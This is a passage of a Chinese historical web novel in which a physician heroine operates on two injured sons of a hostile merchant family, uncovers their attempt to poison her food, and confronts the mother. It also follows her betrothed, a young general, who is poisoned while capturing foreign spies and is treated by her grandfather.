特质的手套一戴,陈识月便开始忙碌。 这一次,便是徐玉安都不敢看,何况是商家夫妻。 场面太过血腥,谁都不忍直视,唯有陈识月动作干净利落,水盆里的水几乎被血色染得锃亮,屋子里的血腥味弥漫得更甚。 生伯到底是在医馆操持多年,所以给陈识月当帮手是最好不过的。 他亲眼看着陈识月,动作快准狠,下刀子,缝线,上药,处理伤口,那股子劲儿……生伯在陈识月的身上,看见了小姐的影子。 当年的小姐也是这般冷静果断,甚至于她的医术也是跟老爷大相径庭,正因为如此,父女两个便起了争执,且谁都不愿意退让一步。 在岐黄之术的造诣上,父女二人都是颇具天赋之人,但是徐敬毕竟是徐家医术的传承人,在很大程度上不愿意太过创新。 徐瑶就不一样了,鲜明活泼,尤其是翻看古籍,瞧见那些开膛破肚的法子,便跃跃欲试,一开始是在动物身上,后来就开始对病人下手。 正因为如此,后来老爷就罚了小姐跪祠堂,结果……小姐跪跑了! 回过神来,生伯瞧着眼前的陈识月,真是越看越像,越看越心酸,越看越喜欢,真是跟小姐当年一模一样啊! 第二百零九章 强行把她留下 陈识月的动作麻利,足足两个时辰,旁边看着的人都跟着腿脚发麻,一颗心七上八下,唯有她仍是最初的平静之色。 等一切都处置完毕,上药止血包扎,陈识月面无表情的转身,收拾了一应用具之后,退下了手套去洗手。 血水一盆盆的端出去,看得底下人触目惊心,但屋子里却一直保持安静,无一人敢吱声,无一人敢上前。 商城在商场上摸爬滚打这么多年,还真的从未见过如此冷静自持,无畏无惧的女子。 待洗完手,陈识月扶着桌案徐徐坐下来,可见已经精疲力竭,面色亦跟着略显苍白。 “大夫?”商城小声的开口,“现下状况如何?” 陈识月喝了口水,揉着酸疼的手腕,这会卸了力之后,手脚都开始略略发颤,她赶紧往嘴里塞了一颗糖,须臾才缓过劲来。 “月儿?”徐玉安从怀中取出一个油纸包,打开来是几块糖糕。 陈识月倒也没计较太多,将糖糕塞进了嘴里,“多谢。” “快,将糕点茶水送来。”高秀娥回过神来,赶紧让人送上糕点和茶水。 原本家里出了事,这些东西都已经忘在脑后,如今才想起来,委实是失礼了。 糕点快速被端上来。 陈识月倒不是嘴馋,而是消耗了太多的精气神,吃了点糕点,喝了点水,身子才不至于这般颤抖,提笔写下了方子,“按照这个方子抓药吧!” “好!”高秀娥当即接过,去抓药煎药。 现在,一分一秒都是命。 陈识月起身,“商老爷,我尽力了。” 商城倒是有点心悦诚服,“看出来了,多谢大夫,不知……” “大家都叫我月大夫。”陈识月平静开口,“伤口尽量处置妥当,如果能熬过这两日的话,伤口长好就应该没有大碍。” 商城不说话,只是冲着陈识月作礼,“月大夫医术高明,着实叫商某叹为观止,犬子若能活下来,必定大礼奉上。” “救人就是救人,不是冲着你所谓的大礼而来。”陈识月看了一眼躺在床榻上,还处于深度昏迷的商野,有片刻的犹豫,“不过……他身边离不开人,得有大夫时刻盯着,以防万一。” 伤势那么严重,傻子都知道这个道理。 “能不能请月大夫……” “不能!” 还不等商城把话说完,徐玉安和生伯异口同声的拒绝。 哪有把一个姑娘家留在商府这虎狼窝的道理? 商家的人,一个个表面仁义道德,实则都是狼心狗肺的东西,这边救了人,待人痊愈之后,说不定就要卸磨杀驴了,谁知道他们肚子里憋的什么坏? 无论如何,都不能把陈识月留在这里。 瞧着徐玉安与生伯坚决的模样,商城还真是有片刻的愣神,这二人如此紧张作甚? “我商家也不是吃人的地方,你们这般紧张做什么?月大夫对犬子有救命之恩,我对月大夫只有敬意,没有敌意。”商城深吸一口气,“月大夫,犬子伤势皆交给你,既是一开始就接手,那接下来合该你负责到底。” 徐玉安不干了,“你们想干什么?强词夺理,强迫她?” “月大夫,实在是对不住了!”商城叹口气,“救人救到底,您看如何?只要能让我儿子活下来,不管你要什么都可以。方才我也瞧见了,您这医术从未见过,想来是有真本事的。当然,若是结局不能尽如人意,我也认了,这就是我儿子的命,我得认!” 但是在这之前,他得拼尽全力。 “还望月大夫能体谅一个老父亲的心,能明白我这掏心窝的感觉。”商城眼角含着泪,“您也知道的,我就这么两个儿子,所以……” 徐玉安上前一步,“即便如此,那也不能让一个女子留在这里照看。我不同意!我爹还等着月儿回去呢!” “不如这样吧!”商城道,“你们也留下!” 徐玉安:“……” 生伯皱了皱眉,“商老爷,您这是什么意思?把我们全都扣下了?” “这样的话,你们就不会担心我对月大夫不利了,不是吗?”商城意味深长的说,“我只想让我儿子活下来,别的随便你们如何!” 有钱买不到命,阎王爷就在跟前站着,商城很清楚眼下的状况。 “好!”陈识月点头,“就在旁边准备一间房,让我歇一歇,这屋子里得时刻有人看着,不能有任何的闪失,还有便是我所需的要药材,以及一些物什,必须得准备妥当,免得到时候需要的时候却拿不出来,那我……巧妇难为无米之炊。” 听闻陈识月愿意留下来,商城自然是欣喜过望,“放心,只要你开口,但凡我商家有的,全部都会双手奉上,时刻准备着。” “好!”陈识月松了口气,“那就准备吧!” 徐玉安刚要开口,却被陈识月一个眼神给抵了回去。 话到了嘴边,终是被他生生咽回去。 生伯眼珠子一转,便明白了大概,这会可得打起十二万分的精神,决不能让表小姐和公子有什么闪失,这商家就是虎狼窝,断然不可大意! 别看商城表妹笑嘻嘻,实则就是吃人不吐骨头的老东西…… 商家为陈识月安排了房间,就在两兄弟的后院厢房,屋舍整洁干净,所有的药材都准备齐全,连带着百年老参都给送来了。 珍贵无比! 生伯与徐玉安对视一眼,商城还真是下得去血本,不知道这算不算一点人性? 毕竟,得用在他自己儿子的身上。 虎毒不食子,到底还是念了一份骨肉亲情的。 “诸位就在这里歇着,前院有人看着,但凡有任何的风吹草动,都会第一时间通知月大夫。”底下人毕恭毕敬的开口,“请月大夫稍作休息。” 这么一折腾,时辰不早了,所以生伯只能差一奴仆回家报信,否则的话,那徐庚不得杀上门找人? 儿子没回来,外甥女也没回来,他不得跟商家拼命? 待人一走,陈识月便快速站在门口张望着,“不知道其他人在何处?” “你是来找……”徐玉安恍然大悟,“原来如此!” 陈识月“嘘”了一声,示意他不要太大声,“见机行事。” “好!” 第二百一十章 忽然就,想他了 难得进了商家,当然不是单纯的来治病救人。 陈识月很清楚,商家兄弟被闹成这样,十有八九是霍青行或者是林序的手笔,这两人一个心狠,一个手辣,合在一起便没有做不出来的事情。 沙场上断肢残臂都见惯了,对这小小伎俩,怎会放在眼里。 “我进来这么大的阵仗,他们的人不可能没察觉。”陈识月皱起眉头,“夜里咱都轮着守夜,不能全睡死过去。” 徐玉安点头,“你放心休息,交给我与生伯便是,毕竟前面那两兄弟,还得依仗着你活命呢!” 他自己有几斤几两,心里很清楚,所以得先确保陈识月有足够的休息时间。 “小姐,你先休息。”生伯道,“现在状况还算稳定,外头就交给咱便是。” 陈识月点点头,她的确也是需要休息。 商武的情况还算好些,关键是商野,那边时时刻刻都需要人,不能有任何的分心,她需要有足够的精气神,来应付接下来的那些变故。 事实上,在陈识月他们进来的那一刻,就已经被人所察觉,但只是小心谨慎的盯着,不敢有任何的举动,以免打草惊蛇。 陈识月小憩了片刻,直到高秀娥带着人,送了茶水和饭食过来。 “前院还算安稳。”高秀娥面露愁容,瞧着眼角红肿,应该是哭过的,毕竟是自己儿子,出了这样的事情,当母亲的如何能不心疼? 陈识月略显疲倦,“那就好。” “先吃点东西!”高秀娥忙道,“不知道诸位是否吃得惯,先吃着吧!若是有什么不满意的,只管提,我商家一定会竭尽全力。” 陈识月坐定,“不妨事。” 高秀娥在边上站着,瞧着有些小心翼翼的。 “你还不走?”徐玉安皱眉,“商夫人是要坐下来一起吃吗?” 高秀娥有些犹豫,“月大夫,我儿子……” “你不是暂时安稳吗?”生伯开口。 高秀娥不说话了。 “外头那些我们带来的人,还望商夫人一并安排。”徐玉安道。 高秀娥点点头,“好!” 见着陈识月拿起了筷子,高秀娥意味深长的看了陈识月一眼,转身出了门。 待人走后,陈识月放下了手中筷子。 “果真如舅舅所言,一帮狼心狗肺的东西!” 徐玉安:“??” 生伯到底是见多识广,旋即拿起筷子,在饭菜里拨弄着,其后凑到了鼻尖轻嗅,但却没察觉到什么异常,一时间还真是有点为难。 “我……”陈识月深吸一口气,“天生对气味略显敏感,也就是说,你们闻不到的味儿,我可能先闻到了。” 生伯瞪大眼睛,“小姐还有这本事?” “月儿表妹,你这是天生的?”徐玉安不敢置信。 陈识月点头,凑到米饭前嗅了嗅,“还好,不是毒。” 不是毒。 味道有点怪异,仔细查验的话,还是能找到蛛丝马迹的。 比如说,桌案上的菜,不全是淬了药的。 碗碟边上有白色粉末的残留,大概是太过匆忙的缘故。 “我去外面看看!”生伯起身。 万一对外面的护院也出了手,到时候可就一点保障都没了。 “月儿表妹,这天赋……你竟有这天赋?难怪我爹和祖父都瞧不上我们了,果然人比人气死人,努力在天赋面前不值一提。”徐玉安直摇头。 陈识月将一碟青菜,还有一碟炒蛋挪出来,“米饭暂时别吃了,这两样菜倒是无妨,那些糕点也可以吃。” “这还看人下菜碟呢?”徐玉安不解,“这菜和蛋招谁惹谁了,就这么瞧不上?” 陈识月拿起筷子,“要不然给你每样来点?” “会死吗?”徐玉安问。 不死的话,倒是无所谓。 “死不了,但是你会难受好一阵子,且是慢性毒,也就是说你暂时不会有症状,然后一日比一日虚弱,仅此而已。”陈识月吃了快糕点,拿起筷子吃菜。 徐玉安:“……” 那算了,他一个大小伙子,纵然爹和祖父瞧不上他,也不能折在商家这虎狼窝。 陈识月吃什么,徐玉安就吃什么。 事已至此,已经没有别的选择。 “你说他们为何要这么做?”徐玉安不明白,“毒死咱?她不怕咱反手让商家绝种?” 陈识月看向他,“还没看明白?” 徐玉安诚实的摇头。 “我若是回到了徐家,成为徐家的一份子,那么以后……徐家的医馆生意会如何?”陈识月问。 徐玉安了悟。 “救命之恩的确重得很,但是他们也见不得徐家好,所以趁着这个机会,动点手脚,来日我手抖脚抖,或者是身子有点异常,或者是残缺的话。”陈识月开口,“那我就只是寻常大夫,之前露的那一手怕是再也不能有第二次。” 医者的手不能抖,医者的心不能乱。 可现在,商家却想废了她。 在她救了那两个白眼狼之后,想要废了她的能力。 “真是该死,太坏了。”徐玉安切齿。 正人君子,自然是不齿这些小人行径。 但是商家本就不是正人君子,不管得了什么好处,都会在背后刺一刀,这是白眼狼的本能,是忘恩负义的习惯。 待吃饱喝足,生伯也回来了。 “我叮嘱他们别吃,还好早前就有所防备,在进来之前每个人随身都带着干粮和水。”生伯叹口气,“商家简直是……太没良心了。” 徐玉安招呼生伯赶紧吃点,填饱肚子再说。 “吃完之后呢?”徐玉安问。 陈识月站起身来,“吃完之后,就该干嘛干嘛,有我在呢!” 他们得先确保陈识月的安全,不能动她分毫,要不然她撒手不管,那两个狗儿子不得死定了?商家绝种了,对他们也没什么好处不是? “那我就随便溜达溜达?”徐玉安嘿嘿笑着,“我还没逛过商家大宅呢!” 陈识月报之一笑,“你只管晃悠,肯定会有人来找你的。” 她走到门口站着,瞧着黑漆漆的夜空,瞧着风吹动了檐下的灯笼,摇散了昏黄的光,落下斑驳的剪影,心里却忽然浮现他的身影。 霍青行,你现在在哪? 在…… 做什么呢? 好像心里有恙,霍青行没来由的心头一紧,连带着呼吸一滞,一时间竟有种莫名的难受,好似牵扯了什么一般。 不会是小月儿出事了吧? 第二百一十一章 谨慎如她,料事如神 可惜的是,昨日夜里这帮人没回来,所以破庙还是那个破庙。 霍青行等人依旧蛰伏在周围,只等着守株待兔。 好在今天夜里,终于有了收获。 “少将军?”安信不解,“您怎么了?” 霍青行摇摇头,摸了摸心口的位置,“没事,小心防范。” “是!”安信颔首,“就是不知道林序现在如何?咱这一闹腾,这小子八成得吃亏。” 吃亏? 林序吃亏? 霍青行挑眉,“你是第一天认识他?” 林序是吃亏的主吗? 让他暂且忍一忍是真的,吃大亏是不可能的,这小子肯定是怕耽误他们的事,所以才会心甘情愿的留在商家。 他是把柄,也是定心丸。 “来了!”老二开口。 众人旋即缄默。 哒哒的马蹄声响起,其后便见着一群人翻身下马。 不知道是从哪儿回来的,瞧着好像神情都不对,行色匆匆,似乎是吃了什么大亏? 大概是觉得周围没人,一进来就是叽里咕噜的一阵。 若是之前只是怀疑,那么现在几乎就是肯定了。 几个人瞬时来了劲儿! 蛮子! 居然在这里还能看到蛮子,这帮蛮子的细作,简直就是送上门来的军功,一个两个的都是肥肉,到时候谁都别想跑。 在边关的时候,他们跟蛮子交战,恨死了这帮狗东西。 现如今还敢跑到中原来?! 呵,自家的地盘,若是还放过他们,那还得了?! 蛮子的话,晦涩难懂,但霍青行却听得一清二楚,他们是来汇合的,好像是已经传递了消息,并且这消息还跟金都有关。 当然,他们只说了这么点。 霍青行沉着脸,这帮蛮子已经派了人前往金都,这帮人难道是想对皇帝不利? 又或者是,窃取什么机密? 不过现在就不需要猜了,等抓到他们,就可以彻底了结。 眼下,尚需按捺。 不知道还有没有下一批人过来汇合? 霍青行躲在暗处,眯起了危险的眸子,他们会不会和长乐门也有关系呢? 猜测得到证实的时候,霍青行整个人透着森寒的杀气,“一个都不许放跑。” “是!” “是!” 约莫过了半个时辰,终于又传来了响动,紧接着便是另一群人快速进了庙宇。 这些人,很眼熟。 霍青行认出来了,可不就是当日的那帮长乐门之人吗? 劫走了他的小媳妇,还在林中找寻他们,意欲赶尽杀绝,这帮人如今出现在此处,那他霍青行更得下黑手了,一个都别想跑。 “人已经送往了金都。” 长乐门的人,显然是和蛮子是一伙的。 原本以为是江湖门派,如今看来其背后有人操持,而这人里通外敌,跟蛮子合作,所以这长乐门势必要铲除,否则必定为祸天下。 “你们这帮废物,中途竟还会出现差池。” “你们有什么资格在这里叽叽歪歪的?一帮蛮子,还真想当家做主?要不是上头让咱接应你们,帮你们做事,你们真的以为自己能这么轻松?” 霍青行闭了闭眼,一帮乌合之众。 “呵,有什么可说的,大家都是一条穿上的人,所以说还是……以和为贵吧!” 有人从中调和,有人不敢吱声。 霍青行瞧了一眼安信,然后冲着老二老三使了个眼色。 四个人,四个角落。 “明日就送你们离开。” “呵,但愿你们……” 话音未落,却是霍青行已经出现在人前。 火光缭乱之中,可见人影绰绰。 霍青行看着他们,居高临下的姿态,如同在战场上那般,面对强敌面对死敌,势必不会心慈手软,“你们,走不了了!” 刹那间,所有人都站起身来,惊慌之余更多的是愤怒,然后就是咬牙切齿。 不是所有人都认识霍青行这位少将军,但霍青行一眼就能认出来,对方是不是蛮子,打了这么多年的仗,自己的敌人还是能认得出来的。 “助纣为虐,里通外敌,该杀!”霍青行抬眸。 刹那间,众人纷涌而出。 火光摇曳,被风吹得呼啦啦作响,刀光剑影,鲜血飞溅。 兵刃交接,宛若在战场上那般。 能留活口自然是最好的,但若不能,那就留下尸体,横竖今日在这庙里的人,一个都不能放跑。 只不过…… 狗急跳墙。 眼见着就剩下最后两个蛮子,还有一个长乐门的人,对方忽然耍出了一片白色粉末,也不知是什么东西,顷刻间随风直扑霍青行而来。 “闪开!”霍青行一掌劈开,将身边的安信推出去甚远。 紧接着便是淡淡的香味,直冲鼻腔,莫名的一股子邪火直冲天灵盖,显然是这包白色粉末的功劳,以至于让人瞬间有些精神恍惚,难辨东南西北。 怎么回事? 安信骇然,“公子?” 完了! 完了完了! “有毒?”不管是什么毒,肯定不是小事。 霍青行登时天旋地转,一下子瘫跪在地,却凭着最后一丝清醒,从怀中掏出药丸塞进了嘴里,这是之前陈识月为了以防万一,塞给他防身所用,如今看来……小心真的无大错,小心真的能行万年船。 “公子!”安信等人快速围拢上来。 眼见着对方要跑路,霍青行咬着牙,“抓住他们,别管我!” 这些人断然不能跑了。 横竖,他已经中了毒,那就更不能功亏一篑。 “快!”霍青行闭了闭眼。 安信纵身而起,“休想跑!” “上!” 老二老三也跟着冲。 要么死,要么残。 少将军这笔账,也得跟着一起算。 胳膊被扯下,鲜血飞溅的那一刻,安信摁住了最后一名蛮子,虽然是残缺的,但好歹还能喘气,当即抬手捏断了对方的三肢,顺道卸了他的下巴。 咬舌自尽不可能,反抗也是不可能。 唯有如此,才能确保活口安然。 “你们这帮狗东西,解药呢!”安信揪住对方的衣襟,“把解药给我!” 地上横七竖八躺着尸体,躺着活口,鲜血流进了火堆里,与柴火交融,发出了噼里啪啦的声响,空气里的血腥味更是浓重了三分。 “没有解药!”蛮子冷笑,“你们就等死吧!这可是追魂夺命的东西,死定了!” 安信眸色赤红,“你们这帮狗东西,老子劈死你们!” “安信!”霍青行面色惨白,颤颤巍巍的站起身来,“别杀他,留活口。” “公子?”安信嗓音都在颤抖。 霍青行深吸一口气,浑身冷汗嗖嗖往外冒,“留活口!带我去找、去找小月儿,她……她能救我!” 眼前,骤然一片漆黑。 “公子!” “公子!” 第二百一十二章 后天养成的心有灵犀 安信旋即放出了消息,一道光瞬时直冲云霄。 现在也顾不得其他,少将军的性命比什么都重要。 “你们两个看好这里,等人接应,我现在就带着少将军离开。”安信急得火烧眉毛。 要是少将军出事,谁都别活! “是!” “是!” 永安县医术最好的,莫过于徐家。 安信几乎没有任何的犹豫,背着霍青行直接去了徐家,一路上担惊受怕,时不时以内劲灌输,确保护住少将军的心脉,保其不死。 好在商家现在忙着救儿子,注意力都在陈识月的身上,反正林序被关起来了,也不怕霍青行不回来救人,是以别的都按兵不动。 安信是马不停蹄的跑,一刻都不敢耽搁,生怕丢了自家少将军的命。 幸运的是,陈识月给的解毒丹起了效用。 她的这枚解毒丹所用,皆是当初在楚家取的药材,自然是一等一的好,当时就在腹中化开,在安信带着人一路狂奔的时候,药效逐渐起来。 是以下船的时候,霍青行就在安信的背上醒过来了。 “安信?”霍青行很是虚弱,但神志却逐渐清醒起来,“这是在哪?” 安信险些哭了,七尺男儿,战场上挨了几刀子,差点死了都没哭,这会是真的险些落泪,“刚下船,卑职带您去徐家,他们肯定能帮着您解毒。” “人呢?”霍青行虚弱的问。 安信忙道,“放心,老二他们会处理妥当。” “好!”霍青行垂下眼帘。 只盼着回去的时候,可切莫吓着他的小媳妇。想了想,自己没有浑身是血的回去,应该不至于吓着她,她可是顶好的大夫啊! 思及此处,他眼一闭,又沉沉的晕了过去。 当然,陈识月不在徐家,自然是吓不着。 但把徐家人吓得差点魂儿都飞了,尤其是听得安信描述,说是霍青行身中剧毒,这一个两个的心头怦怦跳。 “快!”徐庚忙让安信把人安置在后厢房,“没让人瞧见吧?” 安信颔首,“爬墙进来的。” 霍青行双目紧闭,面色发绀,呼吸时急时缓,显然状况不太好。 “之前吃了月大夫给的解毒丹。”安信忙道,“不知道有没有效果,但瞧着是留了一口气,对了,月大夫呢?” 徐庚与王氏对视一眼,都没有说话。 “毒性很烈。”徐庚探脉,面色凝重,“且很诡异。” 安信只想知道,“能活吗?” “还好有解毒丹,暂且可以保住性命,只是这祛毒……”徐庚有些犹豫,“怕是没那么简单,还得费点功夫。解毒丹是哪儿来的?” 安信忙道,“好像是月大夫给的。” 徐庚想了想,快速转身冲着王氏开口,“去请父亲过来。” “是!” 王氏清楚,这件事怕是没那么简单,这毒…… 徐敬拄着杖过来的时候,面色凝重。 “父亲!”徐庚让位。 徐敬坐在了床边位置,伸手扣住了霍青行的腕脉。 安信在边上观察着,瞧着徐敬脸色微变,登时一颗心悬到了嗓子眼,急得他想张嘴就问,又怕打扰了徐敬瞧病。 待徐敬撤了手,徐庚忙问,“父亲,如何?” “好歹毒的东西。”徐敬幽然吐出一口气,“为父从医这么多年,还真是鲜少见过这种歹毒的物什,倒是蛮子那边……” 徐敬了悟,“关外的东西?” “是!”徐敬点点头。 一听这话,二人齐刷刷的看向安信。 安信点头如捣蒜,“是,我们发现了蛮子的窝点,所以想着一网打尽,谁知道最后他们竟然用了暗招。徐大夫,不能让我家公子出事,要不然老头子那边得疯!” “放心。”徐敬道,“虽然不是咱们中原的东西,但中原地大物博,不是那些宵小之辈堪比,咱若是没这点本事,祖上也不会进宫当太医了。” 陈识月的东西管用,徐敬的东西同样也管用。 施针,祛毒。 徐敬虽然老了,可还没老到不中用的地步,拿针的手也是稳稳当当,针扎进霍青行的身体,然后一点点的拔除剧毒。 瞧着他指尖切开的伤口,流出了乌黑如墨的鲜血,一点一滴的坠入水盆之中,安信面色铁青,连带着呼吸都乱了节奏。 少将军,你可千万不能有事啊! 不知道是不是女人的第六感,陈识月冷不丁心头抽痛了一下,几乎是下意识的蜷起了身子,捂住了不安分的心口位置。 “怎么了?”徐玉安心惊,“你是不是哪儿不舒服?” 医者不自医,有时候自身出了问题,身为大夫亦是不自知。 “没什么。”陈识月直起身子,“就是忽然有点心口难受,许是最近事情有点多,所以有点累着,不妨事。” 嘴上这么说,可这心里头委实不踏实。 待缓过劲来,陈识月转头看向徐玉安,“家里没事吧?” “自然。”徐玉安点头,“咱家虽然不是大富大贵,但到底也是有些名头,商家再只手遮天,也不敢明目张胆的对咱出手。” 但…… 眼下的商家犯了那么多的事,难保不会狗急跳墙,防范于未然总归是好的。 “月儿表妹,你是觉得……”徐玉安是个聪明人,转念一想就明白了,“我让人回家看看。” 不管什么时候,都要保持警惕。 也亏得陈识月提了这么一嘴,才让他们得知了霍青行的状况。 当然,这是后话。 得知状况也不可能离开商家,那么多的商家护院,里三层外三层的盯着陈识月,恨不能将她盯出个洞来,生怕她插上翅膀飞了。 毕竟,商家两兄弟的命都在她手心里攥着呢! 陈识月有理由相信,若是他们死了,商家可能会让她陪葬…… “你在干什么?” 一声厉喝,伴随着护院冲上来,拦住了徐玉安的去路。 徐玉安身后跟着两个自家的家奴,心下有些发怵,面上却佯装不屑,“这便是商家的待客之道吗?我又不负责瞧病,四处逛逛园子也不成?” “前面是厨房,你过去作甚?”护院可不管这些,毕竟心里发虚。 厨房隔壁就是柴房,柴房里关着林序,可不敢大意。万一被人发现,又或者是被人救出去,他们可没法跟主子交代。 “商家的厨房不让看?”徐玉安满脸诧异,“不是吧不是吧,难道你们吃的东西,与咱不一样?还是说,你以为我堂堂徐氏医馆的少东家,念着你们商家的歪瓜裂枣?” 众人不答。 “呵,既是这般看不起我们徐家,何必让我们过门看诊,我就带月大夫回家。”徐玉安转身就走。 “别别别!” 第二百一十三章 月大夫是个“真”狠人 徐玉安白了众人一眼,大摇大摆的进了厨房,越是不让他进去,他越是要进去看个究竟。 厨房其实没什么可看的,厨娘和厨子忙忙碌碌,大眼瞪小眼的看着他。 晃悠了一圈,徐玉安便走了出来,只不过身后的这群尾巴还在,一个两个就跟盯着贼似的,死盯着他不放。 他没什么收获,不代表别人没有。 林序听到了,外面的动静不小,尤其是徐玉安那叽叽喳喳,中气十足、底气有些不足的声音,不由得心下一紧,不敢置信的皱起眉头。 徐玉安? 这小子怎么会在这里呢? 林序忽然觉得脑瓜子嗡嗡的,该不会月大夫也在这里吧? 毕竟,徐家和商家已经在暗中较劲,颇有些正邪不两立的感觉,是不可能搅合在一起的,何况听徐玉安方才说话的语气,应该是带着几分怨气的。 坏了! 月大夫不会进来了吧? 这天杀的商家! 思及此处,林序狠狠闭了闭眼,他得溜出去看看。 门口有人守着又如何,他想出去,谁也拦不住。 袖中抖落刀片,几个摩擦就已经挣开了绳索,轻飘飘的就从窗外蹿了出去,一个翻身便落在了屋顶上,悄然蛰伏着,窥视着昏暗的商府。 好家伙,果然是徐玉安。 这唯恐天下不乱的臭小子,怎么还跑网兜里来了? 真是老寿星吃砒霜,嫌命太长! 等会? 林序纵身一跃,悄无声息的朝后院而去。 如他所料,徐家各个都是不怕死的,商家这龙潭虎穴竟也敢闯,不只是徐玉安在场,生伯也在,陈识月……也在! 好嘛,凑齐全了。 少将军要是在这里,八成能气得吐血。 真是要命了! 看上去,陈识月似乎是给商家的人治病?正因为如此,徐玉安才敢在府内横着走,一副狐假虎威,耀武扬威的模样。 的确,陈识月的医术是一等一的好。 商野又起了高热,这会哼哼唧唧的,一碗汤药下去,身上的热全无动静,没办法,陈识月只能过来盯着,以银针相佐,盼着能将高热降下去。 若是持续高热,只怕性命难保。 相比之下,商武倒是好了不少,虽然也有余热未退,但只是反复而已,不似商野这般危险。 高秀娥一直在边上守着,自己的儿子遭这么大的罪,她哪儿还能睡得着,只盼着儿子能活下来,若是如此,便去给菩萨上香。 陈识月动作麻利,施针完毕就在边上坐着。 “月大夫?”高秀娥上前。 对于她递来的所有东西,陈识月都不敢入口,哪怕她清楚自己的身体状况,也不敢赌人性。 “商夫人有何指教?”陈识月平静的回问。 高秀娥深吸一口气,“月大夫是何方人士?” 陈识月就知道,一旦闲下来,他们就得问东问西了。 “这似乎和诊治两位公子,没什么牵扯吧?”陈识月也不是好欺负的,你问什么她就答什么,这算怎么个事? 又不是仰人鼻息而活,何必多给脸色。 “月大夫似乎防范心很强。”高秀娥大概是有些尴尬,听得陈识月一句阴阳,不由得面色讪然,“好像不是永安县人士,也不似附近一带的口音。” 陈识月偏头看她,“商夫人是觉得两位公子伤势稳定,便想着卸磨杀驴,不只是我,连我的祖宗十八代都得刨出来留在商家?” 高秀娥:“……” 小女子说话实在是歹毒。 一句话,能把天聊死。 “商夫人,咱是女子,不是傻子,是大夫,也可以变成屠夫。”陈识月这话已经带了几分警告的意味,“我能救人,也能杀人。” 高秀娥到了嘴边的话,愣是生生咽了回去。 “你们做的那些事,别以为我不知道。”陈识月上前查看商野如今的状况,因为施针的缘故,此番倒是退热了,但是状况依旧不佳。 他已经不仅仅是伤筋动骨,连肠子都切断了一些,在如今的条件下,能不能活下来,全看他命够不够硬。 不过,恶人活千年,想来商野没干过好事,应该能活…… 高秀娥骇然盯着她,似乎有些不敢置信。 “你在饭食中动手,我没让你连丧两子,是我的仁慈,而不是畏惧你商家的威势。”陈识月毫不留情的戳破她的假面,“在大夫的眼皮子底下做这些腌臜事,你是真的一点都不清楚,自己几斤几两。” 高秀娥面色瞬白,腿一软差点给陈识月跪下来。 “我不想杀人,是看在你们爱子心切,念及你们的拳拳爱子之心。”陈识月继续说,“但你别当我是软柿子,否则的话,我也不介意让他们走得悄无声息。” 高秀娥呼吸微促,“你敢!” “我有什么不敢的?你不是说了吗?我似乎不是永安县人士,来永安县找徐家也不过是刚进门的客人,你们能把这事推到徐家的头上吗?不能。因为没有证据。”陈识月白了她一眼。 高秀娥一时间竟好似被卡住了咽喉的鹅,除了呼气,愣是说不出半句话来。 “仵作都未必能查出来,你能奈我何?”陈识月收了银针,慢条斯理的卷起针包,“别惹我,好好做个人,我就让商家挂白绫。” 她说得轻飘飘的,可听在高秀娥的耳朵里,宛若一记重鼓。 “你、你这是威胁。”高秀娥从牙缝里挤出这么一句,“可知道商家是什么地方?” 陈识月岂会怕她,“正因为知道,所以才把丑话说在前面,要不然的话,就不是现在这般状况,你两个儿子的命都在我手心里攥着,所以不要跟我玩花样,收起你在饭食里下药的小心思,咱不吃。” 高秀娥:“……” “好了!”陈识月摆摆手,“没什么事就别在这里碍眼了,我这头还忙着呢!” 高秀娥敢怒不敢言,一张脸青白交加,只能不甘心的盯着陈识月。 “他这样的状况,至少小半个月里是不能离人的。”陈识月似笑非笑,唇角轻勾,带着几分嘲讽,“除非舍得下这个儿子,想来商夫人不是如此无情之人,虎毒还不食子呢!” 高秀娥差点被她气得厥过去,愣是掐着自己的人中,瘫坐在凳子上好半天,才徐徐缓过气来,“你够狠的!” “商夫人这话说的,我连开膛破肚都不怕,还有什么可怕的?”陈识月满脸嫌弃。 想起她此前双手染血,却面不改色的样子,高秀娥终是偃旗息鼓,不该问的不问,不该说的不说,不该有的小动作都得收起来。 眼前这位月大夫,是个“真”狠人! 第二百一十四章 这小子什么都会 林序就在屋顶上趴着,将她们的对话尽收耳中,这会算是将事情的始末了解了个大概,原来是这么回事。 月大夫是来给少将军收拾烂摊子的? 这倒是个好机会! 反正月大夫这会尚有自保能力,那么…… 林序快速消失在黑暗中,前有陈识月坐镇,后有徐玉安这个显眼包,所有人的注意力都落在他们的身上,恰好方便了林序行动。 书房黑漆漆的,门窗紧闭。 院子外头有护院时刻巡逻,院子里面也有四个人看守,门口还站着两个。 趁着他们晃悠的功夫,林序从后窗摸了进去,平日充当探子习惯了,这点小事真当难不倒他,铁丝钻进了窗户缝隙里,轻轻一勾就挑开了窗户的栓子,掉头一接便可打开窗户。 进去之后,小心将门窗归为原位,将栓子落下。 如此,谁也不知道这屋子里进了人。 书房里很黑,林序适应了一会之后,便开始在屋内翻找起来,动作很轻,还得时刻注意外头的动静,免得有人忽然闯进来。 当然,进来之后第一件事,是看好自己的退路,以便应付所有的突来状况。 陈识月只管在前面拖着,心知徐玉安一通搅合,会吸引所有人的注意力,都落在她和徐玉安身上,不管霍青行的人在或者不在,都是好事。 聪明人行事,自有默契。 天亮之后,商家又开始热闹。 奴仆进进出出的伺候着主家,到处都是喧闹声响,每个人都是忙忙碌碌,神情却都出奇的麻木,像是没有生命的提线木偶。 陈识月在天亮之后,将事情交给生伯,兀自去小憩了片刻。 “怎么样?”生伯低声问。 徐玉安摇摇头,“没瞧见什么异常,原本我想混进书房去的,结果那边连路都过不去,转个弯就不让走了,实在是没办法,只好线回来了。还有,后院的佛堂那边,也是严防死守的,不知道供的哪门子菩萨,藏起来不让人知晓?” “做贼心虚,自然是千防万防。”生伯面色凝着,“表小姐正在休息,你也去休息一会,这里暂且交给我。” 徐玉安点头,伸个懒腰便揉了揉酸胀的脖颈,“一路上左顾右盼,脖子都快甩成面条了。” “快去休息,这里有我。”生伯顿了顿,“霍公子的事,等表小姐醒来之后,再慢慢说,横竖有老太爷撑着呢!” 徐玉安当然清楚这一点,否则刚才就该开口了。 没开口,就是担心陈识月的身子,毕竟在这两龟孙的身上耗费了心神一晚上,再来点刺激,还不知这身子能否扛得住? “那表妹夫他……”徐玉安压低了声音。 生伯环顾四周,“放心。” 有老太爷在呢! 这永安县最好的大夫,莫过于徐家的老太爷徐敬,若是连徐敬都治不了,那就真的…… “嗯!”徐玉安点点头。 陈识月睡得不安稳,即便外面有徐家的人看着,她依旧不踏实。 陌生的地方,最近又情绪紧绷。 梦里,回到了幼时。 家里被抄的时候,到处都是脚步声,甲胄声,高喊声。 